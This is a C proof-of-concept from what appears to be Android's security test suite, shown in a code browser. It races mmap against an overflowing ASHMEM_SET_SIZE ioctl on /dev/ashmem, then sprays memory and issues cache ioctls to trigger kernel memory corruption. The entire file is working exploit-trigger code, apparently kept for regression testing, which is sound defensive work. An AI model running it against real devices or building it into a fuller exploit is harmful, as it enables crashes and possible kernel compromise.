• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define _GNU_SOURCE
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <linux/ashmem.h>
21 #include <pthread.h>
22 #include <sched.h>
23 #include <stdio.h>
24 #include <stdlib.h>
25 #include <string.h>
26 #include <sys/mman.h>
27 #include <sys/socket.h>
28 #include <sys/stat.h>
29 #include <sys/time.h>
30 #include <sys/types.h>
31 #include <sys/wait.h>
32 #include <unistd.h>
33 #include "local_poc.h"
34 
35 #define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
36 #define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
37 #define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
38 
39 int fd;
40 void *addr;
41 pthread_barrier_t barr;
42 
43 int thread_mmap_status = 0;
44 int thread_set_size_status = 0;
45 
46 void *thread_mmap(void *);
47 void *thread_set_size(void *);
48 
49 #define ORI_SIZE 4096 * 10
50 
51 #define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
52 
main(int argc,char ** argv)53 int main(int argc, char **argv) {
54   int ret;
55   int i;
56   pthread_t tid[2];
57   struct stat st;
58   const char *name = "_crash";
59   struct ashmem_pin pin;
60   char *buf;
61   int size;
62   void *map_again;
63   void *map_buf[100];
64   pid_t pid;
65 
66   for (i = 0; i < 10; i++) {
67     map_buf[i] =
68         mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
69              MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
70     memset((char *)map_buf[i], 0x0, 4096 * 99);
71   }
72 
73   while (1) {
74     pthread_barrier_init(&barr, NULL, 2);
75     thread_mmap_status = 0;
76     thread_set_size_status = 0;
77 
78     fd = open("/dev/ashmem", O_RDWR);
79     if (fd < 0) {
80       return 0;
81     }
82 
83     ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
84     if (ret < 0) {
85       if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
86       close(fd);
87       continue;
88     }
89 
90     ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
91     if (ret != 0) {
92       if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
93       close(fd);
94       return -1;
95     }
96 
97     ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
98     if (ret != 0) {
99       if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
100       close(fd);
101       return -1;
102     }
103 
104     pthread_join(tid[0], NULL);
105     pthread_join(tid[1], NULL);
106 
107     errno = 0;
108     size = ioctl(fd, ASHMEM_GET_SIZE, 0);
109     if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
110   }
111 
112   map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
113                    MAP_SHARED | MAP_NORESERVE, fd, 0);
114 
115   munmap(addr, ORI_SIZE);
116 
117   for (i = 0; i < 10; i++) {
118     munmap(map_buf[i], 4096 * 100);
119   }
120 
121   pid = fork();
122   if (pid == 0) {
123     for (i = 0; i < 1000; i++)
124       mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
125            MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
126     memset((char *)map_buf[i], 0x0, 4096 * 99);
127 
128     return 0;
129   }
130   sleep(4);
131 
132   ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
133 
134   ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
135   ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
136   munmap(map_again, ORI_SIZE);
137   close(fd);
138 
139   return 0;
140 }
141 
thread_mmap(void * arg)142 void *thread_mmap(void *arg) {
143   pthread_barrier_wait(&barr);
144   addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
145               MAP_SHARED | MAP_NORESERVE, fd, 0);
146 
147   return NULL;
148 }
149 
thread_set_size(void * arg)150 void *thread_set_size(void *arg) {
151   pthread_barrier_wait(&barr);
152   ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
153 
154   return NULL;
155 }
156